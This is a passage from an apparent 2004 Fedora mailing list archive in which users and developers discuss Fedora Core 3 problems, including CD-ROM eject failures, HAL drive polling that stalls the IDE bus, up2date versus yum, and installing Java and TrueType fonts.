Well just my breif, garbled thoughts. Doug From whooperhsd3 at earthlink.net Thu Nov 11 19:42:53 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 14:42:53 -0500 (EST) Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100192585.4376.8.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> Message-ID: <1819.12.29.16.103.1100202173.squirrel@whooper.org> Per Bjornsson said: [snip] > you > can't just press a button and hope that it installs... Put if you really want that, use rawhide :-) -- William Hooper From kyrre at solution-forge.net Thu Nov 11 19:40:41 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 11 Nov 2004 20:40:41 +0100 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100190069.3754.3.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100190069.3754.3.camel@localhost.localdomain> Message-ID: <1100202041.3865.3.camel@kyrre> tor, 11.11.2004 kl. 17.21 skrev Kim Lux: > I added hdc=ide-scsi to the boot command in grub. I can now manually > eject cdroms (ie eject scd0 from Konsole.) Right clicking the desktop > CDROM icon does NOT work. grip now works as well. > > > At least I've got CDROM access again. > > > > On Thu, 2004-11-11 at 08:41 -0700, Kim Lux wrote: > > Fedora Core 3 is an outstanding OS except for a few (sometimes very big) > > flaws. > > > > I've got big problems with KsCD, CDROM access in general and grip. > > There were messages on the list about uDev problems with CDROMs before > > the release. Why did we announce a big FC3 release when these problems > > weren't fixed ? I fear that this sort of thing gives Linux in general a > > big fat black eye > > > > CDROM access: CDROM access on my computers has been iffy ever since > > upgrading to FC3 (ie FC3t3, FC3rc3, FC3rc5, FC3 Final.) Clicking CDROM > > in devices in KDE's File Manager used to give me mounting error > > messages, but I used to be able to mount CDROMs manually. With FC3 > > Final, I have absolutely no CDROM access. I cannot eject a CDROM > > without rebooting. Needless to say, this is a big pain. I think this > > is entirely unacceptable in a final release. > > > > KsCD: has always been a troublesome app. It will now lock my machine up > > entirely if I play a CD with scratches on it. Either KsCD needs to be > > fixed or it shouldn't ship with Fedora anymore. How can we keep shiping > > an application that is so buggy ? I've hated KsCD since RH8 for issues > > where it locks up the computer or interferes with other devices needing > > access to the CDROM. > > > > grip: is now totally incapacitated. It crashes with a segmentation > > fault at start up. The first day I installed FC3, it ripped half a > > dozen CDs very well. Then it hit a CD with scratches and it has gone > > into some sort of loop that it can't get out of, not even with > > rebooting. > > > > While I am very happy with FC3 in general, I am very disappointed with > > the fact that these large problems remained in a final version. I know > > there was pressure for the team to keep up with the schedule, but was it > > worth shipping a distro that is now going to cause a lot of people a lot > > of headaches ? > > > > I've got mixed feelings about the whole Fedora effort. I'm not sure > > that its mandate is in sync with users. Is its focus on producing a > > good, stable, usable distro for everyday use by run of the mill Linux > > users or is it to push out Linux technology ASAP so that it gets > > tested ? > > > > I guess I've got the feeling that FC3 went out the door a bit early and > > could have used another 2 weeks of testing and bug fixes. I'm sure that > > the team adhered to the "it doesn't wreck any data" criteria, but I > > think there are a few areas in FC3 that should have been polished a bit > > more before it went out the door. > > > > I've got a suggestion: I think that Fedora should continue its "bleeding > > edge" mentality and that it should strive to ship 2-3 releases a year. > > However, I think there should be sub releases in between releases that > > do nothing but make the previous release perfect. > > > > For example, I think the team should start working on a Fedora 3.1 > > release that fixes CDROM access, sound and a few other issues that seem > > to remain in this release. The goal should be a near perfect release > > before the team focuses on Fedora Core 4. CDROM access will need to be > > fixed prior to FC4, so why not gather that and other fixes and put them > > in another release ? > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- > Kim Lux (Mr.) Diesel Research Inc Sure it isn't fam running loose again? like in FC1? From bwheadley at earthlink.net Thu Nov 11 19:47:43 2004 From: bwheadley at earthlink.net (Bryan W. Headley) Date: Thu, 11 Nov 2004 13:47:43 -0600 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100198299.4042.7.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> <1100196875.3705.13.camel@localhost.localdomain> <1100197746.3560.20.camel@localhost.localdomain> <1100198299.4042.7.camel@localhost.localdomain> Message-ID: <4193C1DF.4010505@earthlink.net> Kim Lux wrote: >I agree that using up2date works fine, except: > >a) are there issues that won't be fixed by up2date ? > > Sure. Let's say that FCx liked lilo and FCy likes grub as the default bootstrapper. Would you expect an rpm scriptlet to know anything about a) asking you if you want to switch bootloaders, b) Have a sed/perl script to run that would parse an existing /etc/lilo.conf and build a reasonable /etc/grub.conf? No, you'd expect something more "comprehensive" in scope to know how to do those things. From lux at diesel-research.com Thu Nov 11 20:04:33 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 13:04:33 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1102.12.29.16.103.1100201712.squirrel@whooper.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> Message-ID: <1100203474.4213.6.camel@localhost.localdomain> I didn't update from a test release. I updated from a release candidate. I was told there is a difference. On Thu, 2004-11-11 at 14:35 -0500, William Hooper wrote: > The fact that updates from test releases to final releases aren't > supported (in the sense that anything Fedora is "supported") has been > communicated to death. However some people just have issues coming to > grips with the answer. You will have trouble trying to do it, and if > you > chose to do it plan on spending some time fixing it. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 11 20:05:16 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 13:05:16 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100202041.3865.3.camel@kyrre> References: <1100187712.4454.26.camel@localhost.localdomain> <1100190069.3754.3.camel@localhost.localdomain> <1100202041.3865.3.camel@kyrre> Message-ID: <1100203516.4213.8.camel@localhost.localdomain> Please explain. On Thu, 2004-11-11 at 20:40 +0100, Kyrre Ness Sjobak wrote: > Sure it isn't fam running loose again? like in FC1? > -- Kim Lux (Mr.) Diesel Research Inc From david at fubar.dk Thu Nov 11 20:09:18 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 11 Nov 2004 15:09:18 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <20041105002728.GF11079@devserv.devel.redhat.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> Message-ID: <1100203758.4014.32.camel@davidz> On Thu, 2004-11-04 at 19:27 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:59:48PM -0500, David Zeuthen wrote: > > Basically hal does this (every two seconds) > > > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > > close(0) > > > > Can some kernel person comment on why this is killing performance on > > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? > > Because /dev/hdb is powersaved. Every time you poll it the laptop powers up > the drive (costly on power/time), polls the TOC, replies and a second or so > later powers back down. During the power up, poll TOC sequence it locks the > bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. > > We have some bug reports for this from magicdev too. > Interesting - I suppose there is no better way to detect media in optical drives than polling? IIRC some IDE optical drives emits a signal on media change (so we don't have to poll; we just listen to that signal) but this is not widely available (since most drives doesn't comply with the MMC specs) just like the notification from eject buttons is not widely available, correct? Who controls the power saving policy; the drive firmware or the kernel? Is the jamming of the IDE bus caused by a deficiency in the kernel or is that just the true way of the IDE spec? How does other operating systems handle this? Cheers, David From lux at diesel-research.com Thu Nov 11 20:07:33 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 13:07:33 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <4193C1DF.4010505@earthlink.net> References: <1100187712.4454.26.camel@localhost.localdomain> <1100192585.4376.8.camel@localhost.localdomain> <1100196875.3705.13.camel@localhost.localdomain> <1100197746.3560.20.camel@localhost.localdomain> <1100198299.4042.7.camel@localhost.localdomain> <4193C1DF.4010505@earthlink.net> Message-ID: <1100203653.4213.12.camel@localhost.localdomain> On Thu, 2004-11-11 at 13:47 -0600, Bryan W. Headley wrote: > Kim Lux wrote: > > >I agree that using up2date works fine, except: > > > >a) are there issues that won't be fixed by up2date ? > > > > > Sure. Let's say that FCx liked lilo and FCy likes grub as the default > bootstrapper. Would you expect an rpm scriptlet to know anything about > a) asking you if you want to switch bootloaders, b) Have a sed/perl > script to run that would parse an existing /etc/lilo.conf and build a > reasonable /etc/grub.conf? No, you'd expect something more > "comprehensive" in scope to know how to do those things. That is a very good example. rpms don't handle that. Anaconda does ask a few questions about bootloaders. I've never moved from lilo to grub, so I don't know what it actually does. -- Kim Lux (Mr.) Diesel Research Inc From whooperhsd3 at earthlink.net Thu Nov 11 20:14:07 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 15:14:07 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100203474.4213.6.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> Message-ID: <4055.12.29.16.103.1100204047.squirrel@whooper.org> Kim Lux said: > I didn't update from a test release. I updated from a release > candidate. I was told there is a difference. Not in this case. -- William Hooper From david at fubar.dk Thu Nov 11 20:16:27 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 11 Nov 2004 15:16:27 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099642074.2814.3.camel@laptop.fenrus.org> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> <1099642074.2814.3.camel@laptop.fenrus.org> Message-ID: <1100204188.4014.37.camel@davidz> On Fri, 2004-11-05 at 09:07 +0100, Arjan van de Ven wrote: > On Thu, 2004-11-04 at 19:27 -0500, Alan Cox wrote: > > On Thu, Nov 04, 2004 at 01:59:48PM -0500, David Zeuthen wrote: > > > Basically hal does this (every two seconds) > > > > > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > > > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > > > close(0) > > > > > > Can some kernel person comment on why this is killing performance on > > > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? > > > > Because /dev/hdb is powersaved. Every time you poll it the laptop powers up > > the drive (costly on power/time), polls the TOC, replies and a second or so > > later powers back down. During the power up, poll TOC sequence it locks the > > bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. > > it sounds like HAL should measure how long such a poll takes (shouldn't > be too hard) and then add like 10 times that time to the 2 seconds > interval. On fast hw you get almost a 2 second interval but on really > slow cdroms you still can get decent performance. Another more straightforward option is of course to poll more than once a second so the drive never goes into power saving mode and thus never jams the bus :-). No, seriously, it would best not to poll as well, but we do need the media change notifications. Cheers, David From arjanv at redhat.com Thu Nov 11 20:15:39 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 11 Nov 2004 21:15:39 +0100 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1100204188.4014.37.camel@davidz> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> <1099642074.2814.3.camel@laptop.fenrus.org> <1100204188.4014.37.camel@davidz> Message-ID: <20041111201539.GA30608@devserv.devel.redhat.com> On Thu, Nov 11, 2004 at 03:16:27PM -0500, David Zeuthen wrote: > > > later powers back down. During the power up, poll TOC sequence it locks the > > > bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. > > > > it sounds like HAL should measure how long such a poll takes (shouldn't > > be too hard) and then add like 10 times that time to the 2 seconds > > interval. On fast hw you get almost a 2 second interval but on really > > slow cdroms you still can get decent performance. > > Another more straightforward option is of course to poll more than once > a second so the drive never goes into power saving mode and thus never > jams the bus :-). No, seriously, it would best not to poll as well, but > we do need the media change notifications. yeah well... need to get hardware that gives those notifications.. which is REALLY rare. From pnasrat at redhat.com Thu Nov 11 20:18:42 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Thu, 11 Nov 2004 15:18:42 -0500 Subject: Installing Java In-Reply-To: <4193B4AC.6080907@speakeasy.net> References: <4193B4AC.6080907@speakeasy.net> Message-ID: <1100204322.2753.14.camel@dhcp83-102.boston.redhat.com> On Thu, 2004-11-11 at 13:51 -0500, Robert L Cochran wrote: > For Fedora Core 3, do I need to install a Java distribution, or is there > a Java that already works? A quick check shows I have a jar utility > installed but not, apparently, a java engine. The Release Notes say > nothing about Java. yum install java-1.4.2-gcj-compat java-1.4.2-gcj-compat-devel For gcj, else go to jpackage.org and follow the instructions on http://jpackage.org/rebuilding.php Build and install java-1.4.2-VENDOR you'll want to install the -devel package, plus -fonts and -plugin for applets. Then add the jpackage repos to yum and you should be all set. We hope to have a 1.6 release very shortly (final touches) Paul From whb at ceimaine.org Thu Nov 11 20:22:35 2004 From: whb at ceimaine.org (Will Backman) Date: Thu, 11 Nov 2004 15:22:35 -0500 Subject: FC3 - Has the community given up on up2date? Message-ID: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Has the community given up on up2date? From whooperhsd3 at earthlink.net Thu Nov 11 20:25:23 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 15:25:23 -0500 (EST) Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <4970.12.29.16.103.1100204723.squirrel@whooper.org> Will Backman said: > Has the community given up on up2date? WORKSFORME -- William Hooper From ksnider at flarn.com Thu Nov 11 20:27:20 2004 From: ksnider at flarn.com (Ken Snider) Date: Thu, 11 Nov 2004 15:27:20 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <4193CB28.2010202@flarn.com> Will Backman wrote: > Has the community given up on up2date? I still use it for all my installations. It's able to handle yum/apt/etc just fine - I have less issues with up2date than I do Yum. -- Ken Snider From ufo at linux.net.mk Thu Nov 11 20:30:45 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Thu, 11 Nov 2004 21:30:45 +0100 Subject: FC3 Final: no sound In-Reply-To: <9f50a7a004111110354450bcd@mail.gmail.com> References: <419296B5.5000009@linux.net.mk> <1100127247.7040.0.camel@x1-6-00-0a-e6-c7-6f-d8> <9f50a7a00411110849fec3736@mail.gmail.com> <9f50a7a004111108503cd3798f@mail.gmail.com> <41939B9B.9050809@linux.net.mk> <1100193125.4055.29.camel@localhost.localdomain> <4193ABDE.70400@linux.net.mk> <9f50a7a004111110354450bcd@mail.gmail.com> Message-ID: <4193CBF5.5060301@linux.net.mk> Jerone Young wrote: >I'm thinking udev could be this issue. I don't see how it doesn't work >though. None of the via82xx driver didn't change between rc1 & rc5 in >the kernel. If you must just go to alsa-project.org and download and >install the drivers from there > > Downloading and compiling alsa didn't work either. I formated / and installed fc3 from scratch, sounds works fine now, using the same module - snd-via82xx... Wierd. :0 From lux at diesel-research.com Thu Nov 11 20:33:49 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 13:33:49 -0700 Subject: Why won't CDROM eject ? Message-ID: <1100205229.3896.4.camel@localhost.localdomain> $ eject -v /dev/scd0 eject: device name is `/dev/scd0' eject: expanded name is `/dev/scd0' eject: `/dev/scd0' is not mounted eject: `/dev/scd0' is not a mount point eject: `/dev/scd0' is not a multipartition device eject: trying to eject `/dev/scd0' using CD-ROM eject command eject: CD-ROM eject command failed eject: trying to eject `/dev/scd0' using SCSI commands eject: SCSI eject failed eject: trying to eject `/dev/scd0' using floppy eject command eject: floppy eject command failed eject: trying to eject `/dev/scd0' using tape offline command eject: tape offline command failed eject: unable to eject, last error: Invalid argument I am running kernel 2.6.9-1.667 non smp. I am using hdc=ide-scsi when booting. # /sbin/hdparm /dev/scd0 /dev/scd0: HDIO_GET_MULTCOUNT failed: Invalid argument readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid argument # rpm -q udev udev-039-10.FC3.1 in System Logs: Nov 11 13:23:23 localhost kernel: program eject is using a deprecated SCSI ioctl, please convert it to SG_IO Nov 11 13:24:21 localhost last message repeated 2 times I don't have any control over it at all without ide-scsi. -- Kim Lux (Mr.) Diesel Research Inc From ufo at linux.net.mk Thu Nov 11 20:37:01 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Thu, 11 Nov 2004 21:37:01 +0100 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <4193CD6D.60704@linux.net.mk> Will Backman wrote: >Has the community given up on up2date? > Up2date looks like a tool developed by microsoft in the windowsME stage. The damn thing just doesn't work. It freezes all the time and If I want to update smth with it I open a new desktop area and run up2date only there, is someone msg's me and the gaim windows opens, up2date freezes under it and I have to kill it. It freezes if you open anything above it or in the same desktop. Really really sux. Two options, either developers fix it once and for all or flush it from Fedora. Just my opinion. From pri.rhl3 at iadonisi.to Thu Nov 11 20:36:59 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 15:36:59 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100203474.4213.6.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> Message-ID: <1100205420.24175.17.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 13:04 -0700, Kim Lux wrote: > I didn't update from a test release. I updated from a release > candidate. I was told there is a difference. Regardless of whether or not there is a difference, they are definitely the same in one respect: upgrades from either test release or release candidates to official releases are not supported. It is therefore to your benefit to set your expectations accordingly. It can and will break, albeit with RCs likely a lot less than test releases. But as you can see in your case, it has (slightly) broken things. So the general rule of thumb is that it will probably work most of the time, but you will likely need to spend a little time patching things up. We already beat this to death on this list (or was it fedora-devel- list?) earlier. What is it being rehashed again? From Fulko.Hew at sita.aero Thu Nov 11 22:10:32 2004 From: Fulko.Hew at sita.aero (Fulko.Hew at sita.aero) Date: Thu, 11 Nov 2004 17:10:32 -0500 Subject: FC3 - Has the community given up on up2date? Message-ID: Arangel Angov @redhat.com on 11/11/2004 03:37:01 PM wrote: >Will Backman wrote: > >>Has the community given up on up2date? >> > >Up2date looks like a tool developed by microsoft in the windowsME stage. >The damn thing just doesn't work. It freezes all the time and If I want >to update smth with it I open a new desktop area and run up2date only >there, is someone msg's me and the gaim windows opens, up2date freezes >under it and I have to kill it. It freezes if you open anything above it >or in the same desktop. Really really sux. Two options, either >developers fix it once and for all or flush it from Fedora. Just my opinion. The only time up2date freezes is when it has been told to get stuff from a non-existant or non-responsive mirror. It may also look bad (ie. not repainting its window when its uncovered) because it only repaints the window 'after' it has received something from the other end, and needs to update the window. (of course it still updates when its idle) Other that that (bad mirror config), up2date works just fine. Of course it would be nice if the repository would return package size info, like it used to under RH-pre-Fedora, but cest la vie. Yum is great if you love command line stuff, or if you want to run it under cron, but up2date also has a GUI, and works fine, for all the basic stuff (that 99% of the population is looking for). From bites at vesle.com.br Thu Nov 11 20:49:39 2004 From: bites at vesle.com.br (Bites) Date: Thu, 11 Nov 2004 17:49:39 -0300 Subject: True-Type font in FC3 In-Reply-To: <20041105231926.46079737DD@hormel.redhat.com> References: <20041105231926.46079737DD@hormel.redhat.com> Message-ID: <4193D063.2000508@vesle.com.br> Hi People, I need install true type fonts in FC3. In FC2 was easy, running command below i got the fonts in all applications: $ cd ~/fonts $ cp * /usr/X11R6/lib/X11/fonts/TTF/ $ cd /usr/X11R6/lib/X11/fonts/TTF/ $ ttmkfdir -o fonts.scale $ mkfontdir $ chkfontpath --add /usr/X11R6/lib/X11/fonts/TTF/ $ shutdown -r now But in FC3, using OpenOffice, Thunderbird and anothers that fonts aren't enabled. They don's appear in font's list in that applications??? I am doing anything wrong? thanks.. -- Mois?s Bites - bites at vesle.com.br Gerente de TI (Inform?tica) Vesle M?veis e Eletrodom?sticos Ltda Vesle Cont?bil Ltda ICQ:2153978 - MSN:mbites at brturbo.com "Jesus Cristo ? a corporifica??o do ?nico Deus Verdadeiro" --------------------------------------Usando Linux **** Linux Fedora Core 3 *** **** Mozilla Thunderbird *** Use tamb?m - Voc? vai se impressionar------------- From lux at diesel-research.com Thu Nov 11 21:00:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 14:00:04 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100205420.24175.17.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> Message-ID: <1100206804.3807.8.camel@localhost.localdomain> On Thu, 2004-11-11 at 15:36 -0500, Paul Iadonisi wrote: > On Thu, 2004-11-11 at 13:04 -0700, Kim Lux wrote: > > I didn't update from a test release. I updated from a release > > candidate. I was told there is a difference. > > Regardless of whether or not there is a difference, they are > definitely the same in one respect: upgrades from either test release or > release candidates to official releases are not supported. The last time someone made that statement, the line was "upgrades from test releases are not supported." Now that we've got a bug issue in a final release, the stance changes to "upgrades from test and release candidates" are not supported. Let me ask you this: if an upgrade from a test release or a release candidate aren't guaranteed, how can you guarantee that an upgrade from a previous final release will work ? > It is > therefore to your benefit to set your expectations accordingly. It can > and will break, albeit with RCs likely a lot less than test releases. > But as you can see in your case, it has (slightly) broken things. "It" has ? Or is there a bug in here somewhere that breaks things all on its own that has nothing to do with the fact that an upgrade is involved and the upgrade is just an excuse so that people don't give the issue some attention. Let me tell you a little story: FC2 final-> FC3Test3 = no sound Clean FC3rc3 = no sound FC3rc3 -> rc5 via yum when I finally got the repository = no sound. FC3final = no sound. Yesterday adding snd-intel8x0m to /etc/usb/hotplug/blacklist and sound works ! My sound issue had absolutely NOTHING to do with the fact that an upgrade was involved. > So the general rule of thumb is that it will probably work most of the > time, but you will likely need to spend a little time patching things > up. I don't understand what should need patching. All the files in a new install are installed via packages. All the files in an upgrade are installed from packages. As long as an install has the latest packages, they should be the same. If not, how can we trust the update process ? > We already beat this to death on this list (or was it fedora-devel- > list?) earlier. What is it being rehashed again? A guy came on here with a sound problem and someone told him to reinstall. > -- Kim Lux (Mr.) Diesel Research Inc From whooperhsd3 at earthlink.net Thu Nov 11 21:09:04 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 16:09:04 -0500 (EST) Subject: Why don't you guys like synaptic? In-Reply-To: <1100206804.3807.8.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> Message-ID: <4833.12.29.16.103.1100207344.squirrel@whooper.org> Kim Lux said: > On Thu, 2004-11-11 at 15:36 -0500, Paul Iadonisi wrote: > >> On Thu, 2004-11-11 at 13:04 -0700, Kim Lux wrote: >> >>> I didn't update from a test release. I updated from a release >>> candidate. I was told there is a difference. >> >> Regardless of whether or not there is a difference, they are >> definitely the same in one respect: upgrades from either test release or >> release candidates to official releases are not supported. > > The last time someone made that statement, the line was "upgrades from > test releases are not supported." Now that we've got a bug issue in a > final release, the stance changes to "upgrades from test and release > candidates" are not supported. You are the one trying to make a distiction between "test" and "release candidate". They are the same thing. > Let me ask you this: if an upgrade from a test release or a release > candidate aren't guaranteed, how can you guarantee that an upgrade from a > previous final release will work ? Those are what get tested. Trying to see if one random group of testing packages will update to another group of testing packages doesn't have anything to do with upgrading from a known set of released packages to a known set of release packages. [snip] > > "It" has ? Or is there a bug in here somewhere that breaks things all > on its own that has nothing to do with the fact that an upgrade is involved > and the upgrade is just an excuse so that people don't give the issue some > attention. The issue in this thread is a direct result of you trying to upgrade. End of story. > Let me tell you a little story: [snip] > My sound issue had absolutely NOTHING to do with the fact that an > upgrade was involved. Look at the subject again. No one here is talking about sound. >> So the general rule of thumb is that it will probably work most of the >> time, but you will likely need to spend a little time patching things up. >> > > I don't understand what should need patching. All the files in a new > install are installed via packages. All the files in an upgrade are > installed from packages. As long as an install has the latest packages, > they should be the same. If not, how can we trust the update process ? Files that are changed outside of the normal RPM process (a big example are config files) aren't always over written. Additionally, some testing packages might appear "newer" than release packages, so they aren't upgraded. Your issue is most likely that you still have the wrong fedora-release RPM. Of course I'm guess here, because you are more interesting in ranting on about upgrading than giving us the info to help you. -- William Hooper From darren at dzr-web.com Thu Nov 11 21:06:43 2004 From: darren at dzr-web.com (D. D. Brierton) Date: Thu, 11 Nov 2004 21:06:43 +0000 Subject: True-Type font in FC3 In-Reply-To: <4193D063.2000508@vesle.com.br> References: <20041105231926.46079737DD@hormel.redhat.com> <4193D063.2000508@vesle.com.br> Message-ID: <1100207203.4855.9.camel@excession.dzr> On Thu, 2004-11-11 at 20:49, Bites wrote: > I am doing anything wrong? Not so much wrong, as just the old way. If the fonts are for your use and no one else just copy them into ~/.fonts -- you may need to restart X afterwards but I think applications will pick up on the new fonts when they are next started without X being restarted. If the fonts are for use by several different users then the easiest thing to do would be to create a directory, say /usr/local/share/fonts and copy the fonts as root into there, and then edit the file /etc/fonts/local.conf (that's on FC2, I imagine its the same on FC3) to contain the a element like so: /usr/local/share/fonts Best, Darren -- ===================================================================== D. D. Brierton darren at dzr-web.com www.dzr-web.com Trying is the first step towards failure (Homer Simpson) ===================================================================== From pjones at redhat.com Thu Nov 11 21:17:49 2004 From: pjones at redhat.com (Peter Jones) Date: Thu, 11 Nov 2004 16:17:49 -0500 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100195690.3705.2.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> Message-ID: <1100207870.11833.15.camel@localhost.localdomain> On Thu, 2004-11-11 at 10:54 -0700, Kim Lux wrote: > Thanks for your reply, Alan, and your tireless effort with Linux. > > What did you mean by: > > > And that below is a bug > > > > > Nov 11 10:28:49 localhost > > kernel: Unable to handle kernel NULL pointer > > > dereference at virtual address 00000008 > > > > which shouldnt have occurred but was triggered by what appears to be broken > > hardware > > How should I proceed ? Do you want me to log this in bugzilla ? Under > what ? kernel ? grip ? cdrom ? scsi-ide ? Well, it'd be cdparanoia and/or kernel. What kind of drive did you say this was? And which kernel and cdparanoia versions? > BTW: I can crash my machine at will with grip. Just to be sure I'm correct above, open a shell and do this: mkdir scratch cd scratch cdparanoia -B That should rip the CD. If it's something in either the grip code to get the table of contents and discid info, or something along those lines, it could be grip's fault. If it happens with this, that's not the necessarily the case. -- Peter From fedora at nodata.co.uk Thu Nov 11 21:18:04 2004 From: fedora at nodata.co.uk (nodata) Date: Thu, 11 Nov 2004 22:18:04 +0100 (CET) Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> Message-ID: <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> > Has the community given up on up2date? I think so, yes. If not, why was yum developed? Personally, I'm a apt person. I find it takes less time to do what I want it to do: apt certainly starts faster, and the search facility is much better, but yum does have that nice groupinstall option. Another advantage of apt is that it still works when you break your python install.. up2date can't handle 404s, it just dies. up2date's gui will blank out 